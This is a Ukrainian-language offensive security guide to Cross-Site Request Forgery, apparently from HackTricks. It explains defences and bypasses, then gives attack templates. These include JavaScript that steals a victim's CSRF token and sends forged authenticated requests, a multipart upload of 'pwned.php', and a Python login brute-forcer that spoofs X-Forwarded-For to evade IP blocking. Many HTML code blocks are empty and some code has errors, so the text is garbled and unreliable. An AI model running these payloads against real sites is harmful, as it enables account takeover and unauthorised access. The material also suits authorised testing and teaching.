# CSRF (Cross Site Request Forgery) {{#include ../banners/hacktricks-training.md}} ## Пояснення Cross-Site Request Forgery (CSRF) **Cross-Site Request Forgery (CSRF)** - це тип вразливості безпеки, що зустрічається у веб-додатках. Вона дозволяє зловмисникам виконувати дії від імені нічого не підозрюючих користувачів, експлуатуючи їх автентифіковані сесії. Атака виконується, коли користувач, який увійшов до платформи жертви, відвідує шкідливий сайт. Цей сайт потім ініціює запити до облікового запису жертви за допомогою методів, таких як виконання JavaScript, надсилання форм або отримання зображень. ### Передумови для атаки CSRF Щоб експлуатувати вразливість CSRF, необхідно виконати кілька умов: 1. **Визначити цінну дію**: Зловмисник повинен знайти дію, яку варто експлуатувати, наприклад, зміну пароля користувача, електронної пошти або підвищення привілеїв. 2. **Управління сесією**: Сесія користувача повинна управлятися виключно через куки або заголовок HTTP Basic Authentication, оскільки інші заголовки не можуть бути маніпульовані для цієї мети. 3. **Відсутність непередбачуваних параметрів**: Запит не повинен містити непередбачуваних параметрів, оскільки вони можуть завадити атаці. ### Швидка перевірка Ви можете **захопити запит у Burp** і перевірити захисти CSRF, а для тестування з браузера ви можете натиснути **Copy as fetch** і перевірити запит:
### Захист від CSRF Можна реалізувати кілька контрзаходів для захисту від атак CSRF: - [**SameSite cookies**](hacking-with-cookies/index.html#samesite): Цей атрибут запобігає браузеру від надсилання куків разом із запитами з інших сайтів. [Більше про SameSite cookies](hacking-with-cookies/index.html#samesite). - [**Cross-origin resource sharing**](cors-bypass.md): Політика CORS сайту жертви може вплинути на здійсненність атаки, особливо якщо атака вимагає читання відповіді з сайту жертви. [Дізнайтеся про обходи CORS](cors-bypass.md). - **Перевірка користувача**: Запит на введення пароля користувача або розв'язання капчі може підтвердити наміри користувача. - **Перевірка заголовків Referrer або Origin**: Валідація цих заголовків може допомогти забезпечити, що запити надходять з надійних джерел. Однак, обережне формування URL може обійти погано реалізовані перевірки, такі як: - Використання `http://mal.net?orig=http://example.com` (URL закінчується на надійний URL) - Використання `http://example.com.mal.net` (URL починається з надійного URL) - **Зміна імен параметрів**: Зміна імен параметрів у POST або GET запитах може допомогти запобігти автоматизованим атакам. - **Токени CSRF**: Включення унікального токена CSRF у кожну сесію та вимога цього токена в подальших запитах може значно зменшити ризик CSRF. Ефективність токена можна підвищити, впроваджуючи CORS. Розуміння та реалізація цих захистів є критично важливими для підтримки безпеки та цілісності веб-додатків. ## Обхід захисту ### Від POST до GET Можливо, форма, яку ви хочете зловживати, підготовлена для надсилання **POST запиту з токеном CSRF, але** ви повинні **перевірити**, чи **GET** також **дійсний** і чи, коли ви надсилаєте GET запит, **токен CSRF все ще перевіряється**. ### Відсутність токена Додатки можуть реалізувати механізм для **перевірки токенів**, коли вони присутні. Однак вразливість виникає, якщо перевірка зовсім пропускається, коли токен відсутній. Зловмисники можуть експлуатувати це, **видаляючи параметр**, що несе токен, а не лише його значення. Це дозволяє їм обійти процес перевірки та ефективно провести атаку Cross-Site Request Forgery (CSRF). ### Токен CSRF не прив'язаний до сесії користувача Додатки, **які не прив'язують токени CSRF до сесій користувачів**, представляють значний **ризик безпеки**. Ці системи перевіряють токени проти **глобального пулу**, а не забезпечують, щоб кожен токен був прив'язаний до ініціюючої сесії. Ось як зловмисники експлуатують це: 1. **Аутентифікуються** за допомогою свого облікового запису. 2. **Отримують дійсний токен CSRF** з глобального пулу. 3. **Використовують цей токен** в атаці CSRF проти жертви. Ця вразливість дозволяє зловмисникам робити несанкціоновані запити від імені жертви, експлуатуючи **недостатній механізм перевірки токенів** додатка. ### Обхід методу Якщо запит використовує "**незвичний**" **метод**, перевірте, чи працює **функціональність** **перезапису методу**. Наприклад, якщо він **використовує метод PUT**, ви можете спробувати **використати метод POST** і **надіслати**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_ Це також може спрацювати, якщо надіслати **параметр \_method всередині POST запиту** або використовуючи **заголовки**: - _X-HTTP-Method_ - _X-HTTP-Method-Override_ - _X-Method-Override_ ### Обхід токена кастомного заголовка Якщо запит додає **кастомний заголовок** з **токеном** до запиту як **метод захисту CSRF**, тоді: - Перевірте запит без **кастомізованого токена та заголовка.** - Перевірте запит з точною **такою ж довжиною, але іншим токеном**. ### Токен CSRF перевіряється за допомогою куки Додатки можуть реалізувати захист CSRF, дублюючи токен як у куки, так і в параметрі запиту або встановлюючи куку CSRF і перевіряючи, чи відповідає токен, надісланий на бекенді, значенню в куки. Додаток перевіряє запити, перевіряючи, чи токен у параметрі запиту відповідає значенню в куки. Однак цей метод вразливий до атак CSRF, якщо веб-сайт має недоліки, які дозволяють зловмиснику встановити куку CSRF у браузері жертви, такі як вразливість CRLF. Зловмисник може експлуатувати це, завантажуючи оманливе зображення, яке встановлює куку, а потім ініціюючи атаку CSRF. Нижче наведено приклад того, як може бути структурована атака: ```html
``` > [!NOTE] > Зверніть увагу, що якщо **csrf токен пов'язаний з сесійним кукі, ця атака не спрацює**, оскільки вам потрібно буде встановити жертві вашу сесію, і, отже, ви будете атакувати себе. ### Зміна Content-Type Згідно з [**цим**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests), щоб **уникнути попередніх** запитів, використовуючи метод **POST**, це дозволені значення Content-Type: - **`application/x-www-form-urlencoded`** - **`multipart/form-data`** - **`text/plain`** Однак зверніть увагу, що **логіка серверів може варіюватися** в залежності від використаного **Content-Type**, тому вам слід спробувати зазначені значення та інші, такі як **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._ Приклад (з [тут](https://brycec.me/posts/corctf_2021_challenges)) відправки JSON даних як text/plain: ```html
``` ### Обхід попередніх запитів для JSON-даних Коли ви намагаєтеся надіслати JSON-дані через POST-запит, використання `Content-Type: application/json` в HTML-формі не є безпосередньо можливим. Аналогічно, використання `XMLHttpRequest` для надсилання цього типу вмісту ініціює попередній запит. Проте існують стратегії, які можуть обійти це обмеження та перевірити, чи сервер обробляє JSON-дані незалежно від Content-Type: 1. **Використовуйте альтернативні типи вмісту**: Використовуйте `Content-Type: text/plain` або `Content-Type: application/x-www-form-urlencoded`, встановивши `enctype="text/plain"` у формі. Цей підхід перевіряє, чи бекенд використовує дані незалежно від Content-Type. 2. **Змініть тип вмісту**: Щоб уникнути попереднього запиту, забезпечуючи при цьому, щоб сервер розпізнавав вміст як JSON, ви можете надіслати дані з `Content-Type: text/plain; application/json`. Це не викликає попереднього запиту, але може бути правильно оброблено сервером, якщо він налаштований на прийом `application/json`. 3. **Використання SWF Flash файлу**: Менш поширений, але можливий метод полягає у використанні SWF flash файлу для обходу таких обмежень. Для детального розуміння цієї техніки зверніться до [цього посту](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937). ### Обхід перевірки Referrer / Origin **Уникайте заголовка Referrer** Додатки можуть перевіряти заголовок 'Referer' лише тоді, коли він присутній. Щоб запобігти надсиланню цього заголовка браузером, можна використовувати наступний HTML мета-тег: ```xml ``` Це забезпечує відсутність заголовка 'Referer', що потенційно обминає перевірки валідації в деяких додатках. **Обходи Regexp** {{#ref}} ssrf-server-side-request-forgery/url-format-bypass.md {{#endref}} Щоб встановити доменне ім'я сервера в URL, який Referrer буде надсилати в параметрах, ви можете зробити: ```html
``` ### **Обхід методу HEAD** Перша частина [**цього CTF звіту**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) пояснює, що [джерело коду Oak](https://github.com/oakserver/oak/blob/main/router.ts#L281), маршрутизатор налаштований на **обробку запитів HEAD як запитів GET** без тіла відповіді - поширений обхід, який не є унікальним для Oak. Замість конкретного обробника, який займається запитами HEAD, їх просто **передають обробнику GET, але додаток просто видаляє тіло відповіді**. Отже, якщо запит GET обмежений, ви можете просто **надіслати запит HEAD, який буде оброблений як запит GET**. ## **Приклади експлуатації** ### **Екстракція токена CSRF** Якщо **токен CSRF** використовується як **захист**, ви можете спробувати **екстрактувати його**, зловживаючи вразливістю [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) або вразливістю [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html). ### **GET за допомогою HTML тегів** ```xml

404 - Page not found

The URL you are requesting is no longer available ``` Інші HTML5 теги, які можна використовувати для автоматичної відправки GET запиту, це: ```html ``` ### Форма GET запиту ```html
``` ### Запит POST форми ```html
``` ### Відправка POST запиту через iframe ```html
``` ### **Ajax POST запит** ```html ``` ### multipart/form-data POST запит ```javascript myFormData = new FormData() var blob = new Blob([""], { type: "text/text" }) myFormData.append("newAttachment", blob, "pwned.php") fetch("http://example/some/path", { method: "post", body: myFormData, credentials: "include", headers: { "Content-Type": "application/x-www-form-urlencoded" }, mode: "no-cors", }) ``` ### multipart/form-data POST запит v2 ```javascript // https://www.exploit-db.com/exploits/20009 var fileSize = fileData.length, boundary = "OWNEDBYOFFSEC", xhr = new XMLHttpRequest() xhr.withCredentials = true xhr.open("POST", url, true) // MIME POST request. xhr.setRequestHeader( "Content-Type", "multipart/form-data, boundary=" + boundary ) xhr.setRequestHeader("Content-Length", fileSize) var body = "--" + boundary + "\r\n" body += 'Content-Disposition: form-data; name="' + nameVar + '"; filename="' + fileName + '"\r\n' body += "Content-Type: " + ctype + "\r\n\r\n" body += fileData + "\r\n" body += "--" + boundary + "--" //xhr.send(body); xhr.sendAsBinary(body) ``` ### Відправка POST запиту зсередини iframe ```html <--! expl.html -->

Sitio bajo mantenimiento. Disculpe las molestias

``` ### **Вкрасти CSRF токен і надіслати POST запит** ```javascript function submitFormWithTokenJS(token) { var xhr = new XMLHttpRequest() xhr.open("POST", POST_URL, true) xhr.withCredentials = true // Send the proper header information along with the request xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded") // This is for debugging and can be removed xhr.onreadystatechange = function () { if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) { //console.log(xhr.responseText); } } xhr.send("token=" + token + "&otherparama=heyyyy") } function getTokenJS() { var xhr = new XMLHttpRequest() // This tels it to return it as a HTML document xhr.responseType = "document" xhr.withCredentials = true // true on the end of here makes the call asynchronous xhr.open("GET", GET_URL, true) xhr.onload = function (e) { if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) { // Get the document from the response page = xhr.response // Get the input element input = page.getElementById("token") // Show the token //console.log("The token is: " + input.value); // Use the token to submit the form submitFormWithTokenJS(input.value) } } // Make the request xhr.send(null) } var GET_URL = "http://google.com?param=VALUE" var POST_URL = "http://google.com?param=VALUE" getTokenJS() ``` ### **Вкрасти CSRF токен і надіслати Post запит, використовуючи iframe, форму та Ajax** ```html
``` ### **Вкрасти CSRF токен і надіслати POST запит за допомогою iframe та форми** ```html ``` ### **Викрадення токена та його відправка за допомогою 2 iframe** ```html
``` ### **POSTВикрадення токена CSRF за допомогою Ajax та надсилання POST з формою** ```html
``` ### CSRF з Socket.IO ```html ``` ## CSRF Логін Брутфорс Код може бути використаний для брутфорсу форми входу, використовуючи CSRF токен (також використовується заголовок X-Forwarded-For, щоб спробувати обійти можливе чорне списування IP): ```python import request import re import random URL = "http://10.10.10.191/admin/" PROXY = { "http": "127.0.0.1:8080"} SESSION_COOKIE_NAME = "BLUDIT-KEY" USER = "fergus" PASS_LIST="./words" def init_session(): #Return CSRF + Session (cookie) r = requests.get(URL) csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text) csrf = csrf.group(1) session_cookie = r.cookies.get(SESSION_COOKIE_NAME) return csrf, session_cookie def login(user, password): print(f"{user}:{password}") csrf, cookie = init_session() cookies = {SESSION_COOKIE_NAME: cookie} data = { "tokenCSRF": csrf, "username": user, "password": password, "save": "" } headers = { "X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}" } r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY) if "Username or password incorrect" in r.text: return False else: print(f"FOUND {user} : {password}") return True with open(PASS_LIST, "r") as f: for line in f: login(USER, line.strip()) ``` ## Інструменти - [https://github.com/0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe) - [https://github.com/merttasci/csrf-poc-generator](https://github.com/merttasci/csrf-poc-generator) ## Посилання - [https://portswigger.net/web-security/csrf](https://portswigger.net/web-security/csrf) - [https://portswigger.net/web-security/csrf/bypassing-token-validation](https://portswigger.net/web-security/csrf/bypassing-token-validation) - [https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses](https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses) - [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html) ​ {{#include ../banners/hacktricks-training.md}}